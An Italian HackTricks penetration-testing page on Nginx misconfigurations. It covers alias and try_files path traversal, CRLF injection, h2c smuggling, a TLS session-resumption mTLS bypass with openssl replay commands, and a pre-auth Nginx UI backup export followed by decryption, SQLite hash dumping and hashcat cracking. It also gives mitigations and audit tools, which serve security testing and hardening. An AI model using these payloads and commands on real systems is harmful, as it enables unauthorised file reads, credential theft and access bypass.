Nginx

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Posizione root mancante

Durante la configurazione del server Nginx, la directive root svolge un ruolo critico definendo la directory base da cui vengono serviti i file. Considera l’esempio qui sotto:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

In questa configurazione, /etc/nginx è designato come directory root. Questa configurazione consente l’accesso ai file all’interno della specifica directory root, come /hello.txt. Tuttavia, è fondamentale notare che è definita solo una location specifica (/hello.txt). Non esiste una configurazione per la root location (location / {...}). Questa omissione significa che la direttiva root si applica globalmente, consentendo alle richieste verso il root path / di accedere ai file sotto /etc/nginx.

Da questa configurazione emerge una considerazione critica di sicurezza. Una semplice richiesta GET, come GET /nginx.conf, potrebbe esporre informazioni sensibili servendo il file di configurazione di Nginx situato in /etc/nginx/nginx.conf. Impostare la root su una directory meno sensibile, come /etc, potrebbe mitigare questo rischio, ma potrebbe comunque consentire accesso non intenzionale ad altri file critici, inclusi altri file di configurazione, access log e persino credenziali cifrate usate per l’autenticazione HTTP basic.

Alias LFI Misconfiguration

Nei file di configurazione di Nginx, è necessaria un’attenzione particolare alle direttive “location”. Una vulnerabilità nota come Local File Inclusion (LFI) può essere introdotta involontariamente tramite una configurazione simile alla seguente:

location /imgs {
alias /path/images/;
}

Questa configurazione è vulnerabile ad attacchi LFI a causa del fatto che il server interpreta richieste come /imgs../flag.txt come un tentativo di accedere a file al di fuori della directory prevista, risolvendo di fatto il percorso come /path/images/../flag.txt. Questo difetto consente agli attaccanti di recuperare file dal filesystem del server che non dovrebbero essere accessibili via web.

Per mitigare questa vulnerabilità, la configurazione dovrebbe essere modificata per:

location /imgs/ {
alias /path/images/;
}

More info: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Restrizione del percorso non sicuro

Controlla la pagina seguente per imparare come bypassare direttive come:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Uso non sicuro di variabili / HTTP Request Splitting

Caution

Le variabili vulnerabili $uri e $document_uri possono essere corrette sostituendole con $request_uri.

Anche una regex può essere vulnerabile, come ad esempio:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

Una vulnerabilità nella configurazione di Nginx è dimostrata dall’esempio qui sotto:

location / {
return 302 https://example.com$uri;
}

I caratteri \r (Carriage Return) e \n (Line Feed) indicano caratteri di nuova riga nelle richieste HTTP, e le loro forme URL-encoded sono rappresentate come %0d%0a. Includere questi caratteri in una richiesta (ad esempio, http://localhost/%0d%0aDetectify:%20clrf) verso un server misconfigurato fa sì che il server emetta un nuovo header chiamato Detectify. Questo accade perché la variabile $uri decodifica i caratteri di nuova riga URL-encoded, portando a un header inaspettato nella risposta:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Scopri di più sui rischi di CRLF injection e response splitting a https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Inoltre questa tecnica è spiegata in questo talk con alcuni esempi vulnerabili e meccanismi di rilevamento. Per esempio, per rilevare questa misconfigurazione da una prospettiva blackbox potresti usare queste richieste:

  • https://example.com/%20X - Qualsiasi codice HTTP
  • https://example.com/%20H - 400 Bad Request

Se vulnerabile, la prima verrà restituita perché “X” è qualsiasi metodo HTTP e la seconda genererà un errore perché H non è un metodo valido. Quindi il server riceverà qualcosa come: GET / H HTTP/1.1 e questo attiverà l’errore.

Un altro esempio di rilevamento sarebbe:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Qualsiasi codice HTTP
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Alcune configurazioni vulnerabili trovate in quel talk erano:

  • Nota come $uri è impostato così com’è nell’URL finale
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Nota come ancora $uri è nell’URL (questa volta dentro un parametro)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Ora in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

È stato scoperto che i dati forniti dall’utente potrebbero essere trattati come una variabile Nginx in determinate circostanze. La causa di questo comportamento rimane in parte sfuggente, ma non è rara né semplice da verificare. Questa anomalia è stata evidenziata in un report di sicurezza su HackerOne, che può essere consultato qui. Ulteriori indagini sul messaggio di errore hanno portato all’identificazione della sua occorrenza all’interno del modulo SSI filter del codice sorgente di Nginx, individuando i Server Side Includes (SSI) come causa principale.

Per rilevare questa misconfigurazione, è possibile eseguire il seguente comando, che prevede l’impostazione di un header referer per testare la stampa di variabili:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Le scans per questa misconfiguration su più sistemi hanno rivelato molteplici istanze in cui le variabili di Nginx potevano essere stampate da un utente. Tuttavia, una diminuzione del numero di istanze vulnerabili suggerisce che gli sforzi per correggere questo problema siano stati in parte efficaci.

Using try_files with $URI$ARGS variables

La seguente misconfiguration di Nginx può portare a una vulnerabilità LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Nella nostra configurazione abbiamo la direttiva try_files, che viene usata per verificare l’esistenza dei file nell’ordine specificato. Nginx servirà il primo che troverà. La sintassi base della direttiva try_files è la seguente:

try_files file1 file2 ... fileN fallback;

Nginx controllerà l’esistenza di ciascun file nell’ordine specificato. Se un file esiste, verrà servito immediatamente. Se nessuno dei file specificati esiste, la richiesta verrà passata all’opzione di fallback, che può essere un’altra URI o una specifica pagina di errore.

Tuttavia, quando si usano le variabili $uri$args in questa direttiva, Nginx cercherà un file che corrisponda alla request URI combinata con eventuali query string arguments. Pertanto possiamo sfruttare questa configurazione:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Con il seguente payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Usando il nostro payload usciremo dalla directory root (definita nella configurazione di Nginx) e caricheremo il file /etc/passwd. Nei log di debug possiamo osservare come Nginx prova i file:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC contro Nginx usando la configurazione menzionata sopra: Example burp request

Lettura della raw backend response

Nginx offre una funzionalità tramite proxy_pass che consente di intercettare errori e header HTTP prodotti dal backend, con l’obiettivo di nascondere messaggi di errore e header interni. Questo viene ottenuto facendo sì che Nginx servi pagine di errore personalizzate in risposta agli errori del backend. Tuttavia, sorgono problemi quando Nginx incontra una richiesta HTTP non valida. Una richiesta del genere viene inoltrata al backend così com’è, e la raw response del backend viene poi inviata direttamente al client senza l’intervento di Nginx.

Considera un esempio di scenario che coinvolge un’applicazione uWSGI:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Per gestire questo, vengono utilizzate direttive specifiche nella configurazione di Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Questa direttiva abilita Nginx a servire una risposta personalizzata per le risposte del backend con un codice di stato maggiore di 300. Garantisce che, per la nostra applicazione uWSGI di esempio, una risposta 500 Error venga intercettata e gestita da Nginx.
  • proxy_hide_header: Come suggerisce il nome, questa direttiva nasconde specifici header HTTP dal client, migliorando privacy e sicurezza.

Quando viene effettuata una richiesta GET valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare alcun secret header. Tuttavia, una richiesta HTTP non valida aggira questo meccanismo, con conseguente esposizione delle risposte raw del backend, inclusi secret header e messaggi di errore.

merge_slashes set to off

Per impostazione predefinita, la merge_slashes directive di Nginx è impostata su on, comprimendo più slash consecutivi in un URL in un singolo slash. Questa funzionalità, pur semplificando l’elaborazione degli URL, può involontariamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette ad attacchi di local file inclusion (LFI). Gli esperti di sicurezza Danny Robinson e Rotem Bar hanno evidenziato i potenziali rischi associati a questo comportamento predefinito, specialmente quando Nginx agisce come reverse-proxy.

Per mitigare tali rischi, si raccomanda di disattivare la merge_slashes directive per le applicazioni suscettibili a queste vulnerabilità. Questo garantisce che Nginx inoltri le richieste all’applicazione senza alterare la struttura dell’URL, non mascherando così eventuali problemi di sicurezza sottostanti.

Per maggiori informazioni consulta Danny Robinson and Rotem Bar.

Maclicious Response Headers

Come mostrato in this writeup, ci sono alcuni header che, se presenti nella risposta del web server, cambieranno il comportamento del proxy Nginx. Puoi verificarli in the docs:

  • X-Accel-Redirect: Indica a Nginx di reindirizzare internamente una richiesta verso una posizione specificata.
  • X-Accel-Buffering: Controlla se Nginx deve bufferizzare la risposta oppure no.
  • X-Accel-Charset: Imposta il set di caratteri per la risposta quando si usa X-Accel-Redirect.
  • X-Accel-Expires: Imposta il tempo di scadenza per la risposta quando si usa X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limita la velocità di trasferimento delle risposte quando si usa X-Accel-Redirect.

Per esempio, l’header X-Accel-Redirect causerà un redirect interno in nginx. Quindi, avere una configurazione nginx con qualcosa come root / e una risposta del web server con X-Accel-Redirect: .env farà sì che nginx invii il contenuto di /.env (Path Traversal).

Default Value in Map Directive

Nella configurazione di Nginx, la direttiva map spesso svolge un ruolo nel controllo dell’autorizzazione. Un errore comune è non specificare un valore default, il che potrebbe portare ad accessi non autorizzati. Per esempio:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Senza un default, un malicious user può aggirare la sicurezza accedendo a un undefined URI all’interno di /map-poc. The Nginx manual consiglia di impostare un default value per evitare problemi di questo tipo.

DNS Spoofing Vulnerability

Il DNS spoofing contro Nginx è fattibile in determinate condizioni. Se un attacker conosce il DNS server usato da Nginx e può intercettarne le query DNS, può fare spoofing dei record DNS. Questo metodo, però, è inefficace se Nginx è configurato per usare localhost (127.0.0.1) per la risoluzione DNS. Nginx consente di specificare un DNS server come segue:

resolver 8.8.8.8;

proxy_pass e internal Directives

Il directive proxy_pass viene utilizzato per reindirizzare richieste ad altri server, sia internamente che esternamente. Il directive internal garantisce che determinate location siano accessibili solo all’interno di Nginx. Anche se questi directive non sono vulnerabilità di per sé, la loro configurazione richiede un’attenta analisi per evitare falle di sicurezza.

proxy_set_header Upgrade & Connection

Se il server nginx è configurato per passare gli header Upgrade e Connection, potrebbe essere eseguito un h2c Smuggling attack per accedere a endpoint protetti/interni.

Caution

Questa vulnerabilità consentirebbe a un attacker di stabilire una connessione diretta con l’endpoint proxy_pass (http://backend:9999 in questo caso) il cui contenuto non verrà controllato da nginx.

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Nota che anche se il proxy_pass puntava a un path specifico come http://backend:9999/socket.io la connessione verrà stabilita con http://backend:9999 quindi puoi contattare qualsiasi altro path all’interno di quell’endpoint interno. Quindi non importa se un path è specificato nell’URL di proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Durante il 2024 Nginx ha divulgato CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 e CVE-2024-35200 mostrando che una singola sessione QUIC ostile può mandare in crash i processi worker o leak memoria ogni volta che il modulo sperimentale ngx_http_v3_module è compilato e un socket listen ... quic è esposto. Le build impattate sono 1.25.0–1.25.5 e 1.26.0, mentre 1.27.0/1.26.1 includono le correzioni; la disclosure di memoria (CVE-2024-34161) richiede inoltre MTU superiori a 4096 bytes per esporre dati sensibili (dettagli nel advisory nginx del 2024 referenziato sotto).

Recon & exploitation hints

  • HTTP/3 è opt-in, quindi cerca risposte Alt-Svc: h3=":443" o brute-force handshake QUIC su UDP/443; una volta confermato, fuzza l’handshake e i frame STREAM con payload personalizzati quiche-client/nghttp3 per provocare crash dei worker e forzare la leakage dei log.
  • Fingerprint rapidamente il supporto del target con:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Bypass del ripristino della sessione TLS della autenticazione con certificato client (CVE-2025-23419)

Un advisory di febbraio 2025 ha rivelato che nginx 1.11.4–1.27.3 compilato con OpenSSL consente di riutilizzare una sessione TLS 1.3 da un virtual host basato sul nome dentro un altro, quindi un client che ha negoziato un host senza certificato può riprodurre il ticket/PSK per saltare in un vhost protetto con ssl_verify_client on; e saltare completamente mTLS. Il bug si attiva ogni volta che più virtual host condividono la stessa cache di sessione TLS 1.3 e i ticket (vedi l’advisory nginx 2025 citato sotto).

Playbook dell’attaccante

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Se il target è vulnerabile, il secondo handshake si completa senza presentare un client certificate, rivelando locations protette.

Cosa auditare

  • Blocchi server_name misti che condividono ssl_session_cache shared:SSL più ssl_session_tickets on;.
  • Blocchi admin/API che si aspettano mTLS ma ereditano impostazioni di session cache/ticket condivise dagli host pubblici.
  • Automazione che abilita globalmente il TLS 1.3 session resumption (ad es. ruoli Ansible) senza considerare l’isolamento dei vhost.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

L’attacco HTTP/2 Rapid Reset (CVE-2023-44487) colpisce ancora nginx quando gli operatori aumentano keepalive_requests o http2_max_concurrent_streams oltre i valori predefiniti: un attacker apre una connessione HTTP/2, la inonda con migliaia di stream, poi invia immediatamente frame RST_STREAM così che il limite di concurrency non venga mai raggiunto mentre la CPU continua a consumarsi nella logica di tear-down. I valori predefiniti di Nginx (128 concurrent streams, 1000 keepalive requests) mantengono piccolo il blast radius; spingere quei limiti “substantially higher” rende banale mettere in starvation i worker anche da un singolo client (vedi il write-up F5 citato sotto).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Gli host che rivelano valori insolitamente alti per quei directive sono obiettivi ideali: un client HTTP/2 può ciclare tra la creazione di stream e frame RST_STREAM istantanei per mantenere la CPU al massimo senza superare il limite di concurrency.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI è un pannello admin separato per nginx, non il daemon nginx stesso. In Nginx UI < 2.3.3, l’endpoint di export del backup può essere raggiungibile senza authentication e la response può anche leakare la chiave AES-256-CBC e l’IV necessari per decrypt il backup tramite l’header X-Backup-Security. Questo trasforma un “encrypted backup download” in una immediata credential / token / private-key disclosure.

Fast version fingerprinting from SPA assets

Se la pagina di login è una SPA pesante in JS, scarica il main bundle da / e cerca un chunk di versione dedicato:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Su build Nginx UI vulnerabili questo spesso restituisce un letterale come const t="2.3.2", che è sufficiente per confrontare il range vulnerabile prima di autenticarsi.

Controlla gli endpoint API esposti e scarica il backup

Anche quando la maggior parte delle route /api/* restituisce 403, prova direttamente endpoint in stile backup:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Se vulnerabile, X-Backup-Security contiene base64(key):base64(iv). Decodifica entrambi i valori e conferma le lunghezze attese (chiave di 32 byte, IV di 16 byte):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Dopo la decrittazione, ispeziona le configurazioni nginx recuperate e i dati dell’applicazione Nginx UI. Un percorso comune di post-exploitation è:

  • Estrai i dettagli di reverse-proxy e vhost da nginx_dec.zip
  • Ispeziona nginx-ui_dec.zip per app.ini, database.db, token API o materiale dei certificati
  • Esegui il dump della tabella SQLite users e cracca offline gli hash delle password recuperati
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Questo pattern vale la pena di essere testato anche in altri prodotti admin: un export “encrypted” senza autenticazione è comunque una disclosure in plaintext se la response perde il materiale di decryption o lo memorizza insieme all’archive.

Provalo tu stesso

Detectify ha creato un repository GitHub dove puoi usare Docker per configurare il tuo Nginx test server vulnerabile con alcune delle misconfigurazioni discusse in questo articolo e provare a trovarle da solo!

https://github.com/detectify/vulnerable-nginx

Strumenti Static Analyzer

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (un fork aggiornato di GIXY) è uno strumento per analizzare le configurazioni Nginx, con l’obiettivo di trovare vulnerabilities, direttive insecure e misconfigurazioni risky. Trova anche misconfigurazioni che impattano le performance e rileva opportunità di hardening mancate, consentendo il rilevamento automatico dei flaw.
  • gixy-ng (il fork attivamente mantenuto di GIXY) è uno strumento per analizzare le configurazioni Nginx, con l’obiettivo di trovare vulnerabilities, direttive insecure e misconfigurazioni risky. Trova anche misconfigurazioni che impattano le performance e rileva opportunità di hardening mancate, consentendo il rilevamento automatico dei flaw.

Nginxpwner

Nginxpwner è uno strumento semplice per cercare comuni misconfigurazioni e vulnerabilities di Nginx.

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks